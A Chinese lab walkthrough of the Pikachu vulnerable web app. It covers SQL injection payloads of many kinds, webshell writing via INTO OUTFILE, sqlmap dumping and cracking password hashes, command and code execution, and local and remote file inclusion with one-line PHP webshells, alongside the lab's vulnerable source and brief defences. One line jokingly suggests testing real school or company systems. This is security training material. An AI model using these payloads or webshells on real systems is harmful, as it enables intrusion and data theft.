+-------------------+
| Tables_in_pikachu |
+-------------------+
| httpinfo |
| member |
| message |
| users |
| xssblind |
+-------------------+
5 rows in set (0.00 sec)
看看表member的字段
mysql> desc member;
+----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| username | varchar(66) | NO | | NULL | |
| pw | varchar(128) | NO | | NULL | |
| sex | char(10) | NO | | NULL | |
| phonenum | varchar(255) | NO | | NULL | |
| address | varchar(255) | NO | | NULL | |
| email | varchar(255) | NO | | NULL | |
+----------+------------------+------+-----+---------+----------------+
7 rows in set (0.00 sec)
先做一个正常的查询操作
mysql> select username,email from member where id=1;
+----------+-------------------+
| username | email |
+----------+-------------------+
| vince | vince@pikachu.com |
+----------+-------------------+
1 row in set (0.00 sec)
然后来复现一下注入操作
mysql> select username,email from member where id=1 or 1=1;
+----------+-------------------+
| username | email |
+----------+-------------------+
| vince | vince@pikachu.com |
| allen | allen@pikachu.com |
| kobe | kobe@pikachu.com |
| grady | grady@pikachu.com |
| kevin | kevin@pikachu.com |
| lucy | lucy@pikachu.com |
| lili | 114514@homo.jp |
+----------+-------------------+
7 rows in set (0.00 sec)
似乎混进了一些奇怪的东西,是谁干的
可以看到所有数据都被遍历出来了
字符型注入(GET)
是一个输入字符串查询数据的表单
人类恶显现
猜测一下查询逻辑
PHP:$username=$_GET['username']
SQL:select 字段1,字段2 from 表名 where username = 'lili';
构造payload 单引号负责闭合SQL语句中字符串的前单引号,#号负责注释掉后单引号
lili' or 1=1 #
注入成功
后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "sqli_str.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR."inc/config.inc.php";
include_once $PIKA_ROOT_DIR."inc/function.php";
include_once $PIKA_ROOT_DIR."inc/mysql.inc.php";
$link=connect();
$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
?>
数据库内容不再赘述
搜索型注入
是一个支持模糊查询的表单
模糊查询在SQL语句中是这样实现的
select * from member where username like '%l%';
原理知道了,构造payload
xxx%' or 1=1 #
注入成功
XX型注入
作为介绍,先来看后端源码
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "sqli_search.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR."inc/config.inc.php";
include_once $PIKA_ROOT_DIR."inc/function.php";
include_once $PIKA_ROOT_DIR."inc/mysql.inc.php";
$link=connect();
$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
//这里用括号来拼接变量字符
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
?>
实际上,开发人员常用千奇百怪层出不穷的拼接方法拼接SQL语句
构造payload
xxx') or 1=1 #
注入成功
讲到这里你可能会感到疑惑:在看不到源码的情况下我们怎样判断注入点、构造闭合呢?
实际上,判断注入点和构造注入方式需要大量有技巧的尝试和丰富的经验
我们可以用不同的方式试探注入点,比如:尝试特殊字符、看报错信息、尝试构造不同的闭合、构造永真和永假逻辑式试探是否成功注入……
另外,补充一些SQL语句的注释规则:
-
从
#
到行尾 -
从
--
序列到行尾- 要求序列后面至少跟一个空格符(空格、tab、换行符等)
- 该语法与标准SQL注释语法略有不同
-
从
/*
序列到*/
序列- 允许跨越多行
数据获取
union联合查询可以让数据库进行多次查询
注意联合查询的字段数必须和主查询数一致,如下例:
select 字段1-1,字段1-2 from 表名1 where 变量1 union select 字段2-1,字段2-2 from 表名2
还有一些SQL内置函数,可以用来获取数据库信息。如:
查询数据库名称:select database();
查询数据库用户:select user();
查询数据库版本:select version();
在看不见源码的情况下,要想进行联合查询就必须猜测主查询的字段数
我们常用order by
语句和二分法进行字段数猜测
order by n
可以让数据库对查询到字段n的数据进行排序,当n大于查询字段数时就会报错
select 字段1-1,字段1-2 from 表名1 where 变量1 order by 数字;
然后就可以利用order by进行二分法猜测查询字段数了
如图,说明字段数为2
知道字段数后就可以来构造payload了
以获取数据库名称和版本为例
a' union select database(),version() #
数据获取成功
也可以用无意义的查询填充字段数
a' union select user(),1 #
成功
information_schema
MySQL自带的information_schema表里也存放了大量重要信息
-
SCHEMATA表
- 提供当前MySQL实例中所有数据库的信息
- 是
show databases
的结果
-
TABLES表
-
提供关于数据库中表的信息
-
详细表述某个表属于哪个schema、表类型、表引擎、创建时间等信息
-
是
show tables from schemaname
的结果
-
-
COLUMNS表:
- 提供表中的列信息
- 详细表述了某张表的所有列及其信息
- 是
show columns from schemaname.tablename
的结果
鉴于内容较多这里不详细表述,建议翻阅MySQL官方文档
下面来介绍一下一次SQL注入的简单完整流程
特殊字符测试–>数据库报错,确认内容被拼接入语句中–>order by语句测试–>union联合查询–>拿到当前数据库信息–>利用information_schema进一步获取更多信息–>针对所需获取数据库内容
前面的步骤都已叙述过,下面来详细介绍information_schema的利用
在已经查询出数据库名为pikachu后,构造payload
a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #
可以看到数据库pikachu的所有表的名称已经被遍历出来了
表users可能有我们想要的用户信息,构造payload
a' union select table_name,column_name from information_schema.columns where table_name='users' #
现在表users的所有列信息都已被遍历出来了
username和password是我们所需的数据,构造payload
a' union select username,password from users #
现在所有用户名和对应经过彩虹表加密的密码都被遍历出来了
加密的信息可以利用网上的反向查询查出明文
通过相似的操作我们还可以获取数据库中的其他信息
如此,整个数据库都已被拿下
SQL函数报错的利用
在MySQL中我们可以通过使用一些指定的函数来制造报错并在其中嵌入表达式,进而利用报错获取设定的信息
当然,前提是后台没有对数据库报错信息进行屏蔽或处理
常用的制造报错的函数
updatexml()
:MySQL对XML文档数据进行查询和修改的XPath函数extractvalue()
:MySQL对XML文档数据进行查询的XPath函数floor()
:MySQL小数取整函数
updatexml()
先来介绍updatexml()
函数
语法:UPDATE(XML_document,XPath_string,new_value);
XML_document
是string格式,为XML文档对象的名称XPath_string
是XPath格式的字符串,定位必须有效new_value
是string格式,替换查找到的符合条件的数据- 总而言之就是对
XML_document
文档里XPath_string
里的内容用new_value
进行替换
依旧是GET表单
输入单引号返回数据库报错,说明有可能是注入点
利用updatexml()
构造payload获取报错信息
1和0是随便设定的错误数值,目的是让数据库返回报错信息
x' and updatexml(1,version(),0) #
页面返回报错信息
XPATH syntax error: '.26-0ubuntu0.18.04.1-log'
返回的信息没有全部打印出来,我们可以利用concat()
函数进行字符串拼接
x' and updatexml(1,concat(0x7e,version()),0) #
0x7e
是随便设定的字符~
,无需深究
XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log'
返回完整报错,注入成功
构造payload进一步获取更多信息
获取数据库名
x' and updatexml(1,concat(0x7e,database()),0) #
XPATH syntax error: '~pikachu'
利用information_schema
x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) #
Subquery returns more than 1 row
报错一次只能显示一行,我们利用limit
子句限制行数一次一个进行表名获取
- 语法:select * from tableName limit i,n
- tableName:表名
- i:查询结果的索引值(默认从0开始)
- n:查询结果返回的数量
x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #
XPATH syntax error: '~httpinfo'
获取到一个表名,接下来改一改索引值继续查询,不再赘述
查询到数据表users,同样的思路构造payload查询字段
x' and updatexml(1,concat(0x7e,(select table_name from information_schema.columns where table_name='users' limit 0,1)),0) #
XPATH syntax error: '~users'
获取到列名称后再来获取数据
x' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) #
XPATH syntax error: '~admin'
x' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0) #
XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'
重复同样的操作我们就可以拿下整个数据库了
extractvalue()
extractvalue()
函数的作用是从目标XML中返回包含所查询值的字符串
语法:ExtractValue(XML_document,XPath_string);
XML_document
是string格式,为XML文档对象的名称XPath_string
是XPath格式的字符串,同样定位必须有效
对于同样的表单,构造payload
x' and extractvalue(0,concat(0x7e,version())) #
XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log'
注入成功
floor()
floor()
报错注入准确地说应该是floor
、count
、group by
冲突报错,count(*)
、rand()
、group by
三者缺一不可
payload如下
a' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) #
count()
函数:计数函数,用来计算数据总和的函数,该函数结果集只有一个。floor()
函数+rand()
函数:获取0或1的整数值group by
函数:在对数据进行分组时会先看虚拟表中是否存在这个值,不存在就插入;存在的话count()
加1,在使用group by
时floor(rand(0)*2)
会被执行一次,若虛表不存在记录,插入虚表时会再执行一次
这个payload较为复杂,待我深入学习SQL后再详细解析
Duplicate entry '5.7.26-0ubuntu0.18.04.1-log1' for key ''
注入成功
“insert/update”注入
insert
一个常见的注册表单
注册操作一般是用insert语句进行数据插入,如下:
insert into member(username,pw,sex,phonenum,email,address) values('x',114514,19,19,8,10)
构造闭合
insert into member(username,pw,sex,phonenum,email,address) values('x' or updatexml(1,concat(0x7e,database()),0) or ',114514,19,19,8,10)
故payload如下
' or updatexml(1,concat(0x7e,database()),0) or '
XPATH syntax error: '~pikachu'
返回报错,注入成功
剩下的步骤大同小异,不再赘述
update
随便注册一个账号,登录进去,修改个人信息
这里修改数据库信息就可能存在update注入漏洞,注入原理和insert漏洞几乎一样
使用之前的payload
' or updatexml(1,concat(0x7e,database()),0) or '
除了填payload之外其他表单也要随便填满才能被提交后台
XPATH syntax error: '~pikachu'
注入成功
“delete”注入
一个留言板,和之前的存储型XSS是一样的甚至还留着上次XSS注入的痕迹
可以看到有个删除按钮,点下删除,BurpSuite抓个包看看
可以看到前端向后台提交了一个包含了留言对应ID的GET请求,数据库就会根据传入的ID进行删除操作
针对ID构造payload
1 or updatexml(1,concat(0x7e,database()),0)
但因为是GET请求,payload还要进行URL编码才能生效
使用BurpSuite自带的URL编码功能
1+or+updatexml(1,concat(0x7e,database()),0)
注入成功
来看看后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "sqli_del.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR . "inc/config.inc.php";
include_once $PIKA_ROOT_DIR . "inc/function.php";
include_once $PIKA_ROOT_DIR . "inc/mysql.inc.php";
$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
//插入转义
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>出现异常,提交失败!</p>";
}
}
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}
?>
“http header”注入
有些时候后台开发人员为了验证客户端头部信息(如cookie验证)或者通过http header获取客户端的一些信息(如useragent、accept字段等)会对客户端http header信息进行获取并使用SQL进行处理。此时如果没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞
一个登录表单,用提示给的账号密码登录进去看看
可以看到后端很可能获取了我们的http header信息
抓个包看看
第一个POST请求是登录请求,所以第二个GET请求就有可能是用来获取http header信息用的
将User-Agent(其他也行,根据情况而定)修改成单引号引发报错试试
现在基本可以确定这里存在http header注入漏洞了
合理猜测数据库使用了insert()
函数进行处理,构造payload
' or updatexml(1,concat(0x7e,database()),0) or '
扔到User-Agent里
注入成功
还有一种注入的可能性,就是针对cookie字段里的登录信息进行注入
对ant[uname]构造payload
' or updatexml(1,concat(0x7e,database()),0) or '
注入成功
布尔盲注
在有些情况下,后台使用了错误消息屏蔽方法屏蔽了报错信息,此时我们无法在根据报错信息来进行注入判断,这种情况下的注入称为“盲注”
布尔盲注针对的主要症状
- 没有报错信息
- 不管输入正确与否都只显示两种情况
- 在输入正确的情况下输入
and 1=1/and 1=2
可以判断
来看看场景
发现无论输入什么前端都只返回正确或错误,尝试输入之前的payload也不奏效
输入个存在的用户发现返回正常,在后面补个条件试试
lili' and 1=1 #
lili' and 1=2 #
发现此时查询结果根据后面的逻辑式真假而变化,可以判定这是一个布尔盲注点
来尝试构造payload
lili' and length(database())>8 #
lili' and ascii(substr(database(),1,1))>113 #
语法:substr(string,pos,len)
string
:指定要截取的字符串pos
:从字符串的何处开始len
:要截取的字符串长度
这个payload原理是先用二分法筛选并根据后台返回的输入正确与否判断数据库名字长度,然后截取数据库名字符串并转成ASCII码并再次利用同样的手段来一个个判断字母从而锁定整个数据库名
- 这样的方法非常麻烦,通常我们会使用脚本和工具(如SQLmap)来进行盲注
这样一来我们就可以一步步筛取关键信息了,比如
lili' and ascii(substr((select table_name from information_schema.tables where table_schema='database()' limit 0,1),1,1))>113 #
时间盲注
如果说布尔盲注还能看到真或假的回显的话,那么时间盲注就是什么都看不到了
但办法总比困难多,世界上依旧有藏不住的东西——时间,我们可以通过判断后台执行的时间来确认注入
这次是一个真正油盐不进的输入框
但是我们来尝试一下这个payload
lili' and sleep(5)#
页面等待了整整5秒后端才有回应,说明sleep()
被函数成功执行了,可以进行时间盲注
利用sleep()
函数代替真假判断注入,构造payload
lili' and if((substr(database(),1,1))='p',sleep(5),null)#
语法:if(a,b,c)
- 若a为真则返回b
- 若a为假则返回c
payload意为抽取数据库名做判断,若为真则延迟,若为假则不延迟
剩下的和布尔盲注一致,不再赘述
通过SQL注入进行服务器远程控制
一句话木马是一种短小精悍的木马客户端,隐蔽性好且功能强大,如
- PHP:
<?php @eval($_POST['chopper']);?>
- ASP:
<%eval request("chopper")%>
- ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
通过SQL注入漏洞我们可以给服务器写入恶意代码,如
-
select 1,2 into outfile "/var/www/html/1.txt"
into outfile
将select
的结果写入到指定目录的1.txt中- 在一些没有回显的注入中可以使用into outfile将结果写入到指定文件中然后访问获取结果
当然这样做是有前提条件的
- 需要知道远程目录
- 需要远程目录有写入权限
- 需要数据库开启
secure_file_priv
lili' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php" #
通过GET请求访问刚才写入的php文件并远程代码执行
/1.php?test=phpinfo();
因为更改MySQL权限略麻烦,这里贴张网上的图代替
通过相似的操作也可以对服务器操作系统进行远程命令执行
lili' union select "<?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php" #
访问文件传入命令
/2.php?cmd=ifconfig
服务器的网络配置就被打印出来了
此时我们还可以进一步利用工具(如中国菜刀、中国蚁剑等)来进行方便快捷的远程代码和命令执行
SQL inject漏洞爆破
构造payload,让页面返回是否存在这个表
lili' and exists(select * from a) #
返回报错
Table 'pikachu.a' doesn't exist
我们抓一下刚刚返回报错的这个包,设置变量,爆破表名
由于没找到合适的字典,这里只随便演示一下
爆破成功
宽字节注入
有些后端开发人员会使用addslashes()
、mysql_real_escape_string()
、mysql_escape_string()
这类函数来对特殊字符进行转义
比如pikachu使用的就是addslashes()
,这个函数会对'
、"
、\
、NULL
用\
进行转义
但是当数据库使用GBK编码时我们可以构造宽字节绕过转义
比如\
的编码是%5c
,我们使用%df
将转义构造成%df%5c
(繁体字“連”)来绕过对'
的转义
lili%df' or 1=1 #
出了些小差错,发现只能在BurpSuite里成功回显,原因不明
SQLmap的使用入门
SQLmap是一个经典强大的基于python的开源SQL注入脚本
以之前步骤麻烦的布尔盲注为例
先获取GET请求的URL
http://light.asuka39.top:9000/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2
使用SQLmap来测试是否存在SQL注入漏洞
python sqlmap.py -u "http://light.asuka39.top:9000/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"
sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:
---
Parameter: name (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=111' AND (SELECT 7425 FROM (SELECT(SLEEP(5)))xRcn) AND 'ZFlw'='ZFlw&submit=%E6%9F%A5%E8%AF%A2
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: name=111' UNION ALL SELECT NULL,CONCAT(0x717a627871,0x4b674d50556f73617967554c514d45494f4a41736662694376737a73644f5671726b6b5049794567,0x7170707171)-- -&submit=%E6%9F%A5%E8%AF%A2
---
可以看到SQLmap测试到一个SQL注入漏洞,参数是name,请求方式是GET,使用了union查询并给出payload
然后来获取数据库名
python sqlmap.py -u "http://light.asuka39.top:9000/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db
这样就获取到了数据库名pikachu,附带获取到MySQL版本、Web服务器应用版本和操作系统信息
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=111' AND (SELECT 7425 FROM (SELECT(SLEEP(5)))xRcn) AND 'ZFlw'='ZFlw&submit=%E6%9F%A5%E8%AF%A2
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: name=111' UNION ALL SELECT NULL,CONCAT(0x717a627871,0x4b674d50556f73617967554c514d45494f4a41736662694376737a73644f5671726b6b5049794567,0x7170707171)-- -&submit=%E6%9F%A5%E8%AF%A2
---
[00:45:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29, PHP
back-end DBMS: MySQL >= 5.0.12
[00:45:27] [INFO] fetching current database
current database: 'pikachu'
现在来获取数据库内的表
python sqlmap.py -u "http://light.asuka39.top:9000/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
[00:49:13] [INFO] fetching tables for database: 'pikachu'
Database: pikachu
[5 tables]
+----------+
| member |
| httpinfo |
| message |
| users |
| xssblind |
+----------+
获取users表里的列名
python sqlmap.py -u "http://light.asuka39.top:9000/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
[00:50:47] [INFO] fetching columns for table 'users' in database 'pikachu'
Database: pikachu
Table: users
[4 columns]
+----------+------------------+
| Column | Type |
+----------+------------------+
| level | int(11) |
| id | int(10) unsigned |
| password | varchar(66) |
| username | varchar(30) |
+----------+------------------+
获取username和password,SQLmap发现存在哈希值,使用SQLmap自带的字典进行哈希碰撞
python sqlmap.py -u "http://light.asuka39.top:9000/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump
[00:52:56] [INFO] starting 16 processes
[' for user '00:52:58pikachu] [' cracked password '] current status: 00224... \000000
['NFO00:52:58] cracked password '] [123456INFO' for user '] current status: 0102t... |admin
[] cracked password '00:53:02abc123] [' for user 'INFOtest] current status: hausv... -'
Database: pikachu
Table: users
[3 entries]
+----------+-------------------------------------------+
| username | password |
+----------+-------------------------------------------+
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
| pikachu | 670b14728ad9902aecba32e22fa4f6bd (000000) |
| test | e99a18c428cb38d5f260853678922e03 (abc123) |
+----------+-------------------------------------------+
账号和对应的密码都已被获取
整个注入过程不到5分钟,可以说非常方便快捷
SQLmap还有非常多强大的功能,更多的使用方法参见官方WIKI和其他网络资料
SQL注入漏洞的防范
- 代码层面
- 对输入进行严格的转义和过滤
- 对前端输入的特殊符号进行转义
- 设置黑名单过滤输入
- 使用预处理和参数化(推荐)
- 先对SQL语句进行PDO预处理,后将输入作为参数传入
- 对输入进行严格的转义和过滤
- 网络层面
- 通过WAF(Web Application Firewall)设备启用防SQL注入策略
- 使用第三方云端防护
RCE
概述
RCE(Remote Command/Code Execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
- 远程系统命令执行
- 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面
- 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交意想不到的命令,从而让后台进行执行,从而控制整个后台服务器
- 现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找学校或公司运维部的系统测试一下,也许会有意想不到的“收货”
- 远程代码执行
- 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
exec “ping”
页面给了我们一个可以ping某个IP地址的表单,输入127.0.0.1试试
也许是因为docker的缘故并没有ping成功,这里使用网上的图片
我们来试试拼接别的命令
127.0.0.1 & ifconfig
可以看到后台并没有对命令进行处理,我们还可以通过尝试不同的命令进行攻击
来看看后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "rce_ping.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
//header("Content-type:text/html; charset=gbk");
$result='';
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
?>
exec “eval”
是一个输入字符的表单,测试后我们输入phpinfo();
试试
服务器PHP对应的信息就被打印出来了
来看看后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "rce_evel.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
?>
实际上,CTF和实际场景中的RCE千奇百怪,漏洞的利用方式也层出不穷,这里只做最简单基础的展示
File Inclusion
概述
文件包含(File Inclusion)其实是一个功能。在各种开发语言中都提供了内置的文件包含函数,可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中提供文件包含函数:
include()
、include_once()
require()
、require_once()
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是有些时候文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来。这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个意想不到的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
- 本地文件包含漏洞
- 仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力
- 远程文件包含漏洞
- 能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况已经没什么能说的了,准备挂彩就完了。 因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,就算如果非要这么做不可,也一定要做严格的白名单策略进行过滤
File Inclusion(local)
页面上有一个下拉表单,可以选择不同的选项并弹出相关的内容
我们看看URL,发现这是一个通过GET请求访问服务器本地文件完成的页面变换
http://light.asuka39.top:9000/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
来改一下URL
多敲几个../
让其跳转到根目录,然后访问/etc/passwd
文件
http://light.asuka39.top:9000/vul/fileinclude/fi_local.php?filename=../../../../../../../etc/passwd&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
操作系统的账号密码就被打印出来了
后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "fi_local.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','',
'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
?>
File Inclusion(remote)
远程文件包含漏洞成立的前提是需要php.ini(php5.4.34)配置
allow_url_fopen = on
(默认打开)Allow_url_include = on
(默认关闭)
由于靶场是用docker配置的,修改php.ini略麻烦,这里用网上的图片演示
http://light.asuka39.top:9000/vul/fileinclude/fi_remote.php
pikachu内置了一个一句话木马文件
http://light.asuka39.top:9000/test/yijuhua.txt
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
修改一下URL(忽略掉没有变化的IP地址,才不是懒得搞)
http://light.asuka39.top:9000/vul/fileinclude/fi_remote.php?filename=http://light.asuka39.top:9000/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
一般传入的文件是在同级目录下,修改URL访问一下我们的一句话木马
http://light.asuka39.top:9000/vul/fileinclude/yijuhua.php?x=ls
后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "fi_remote.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','',
'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
$html1='';
if(!ini_get('allow_url_include')){
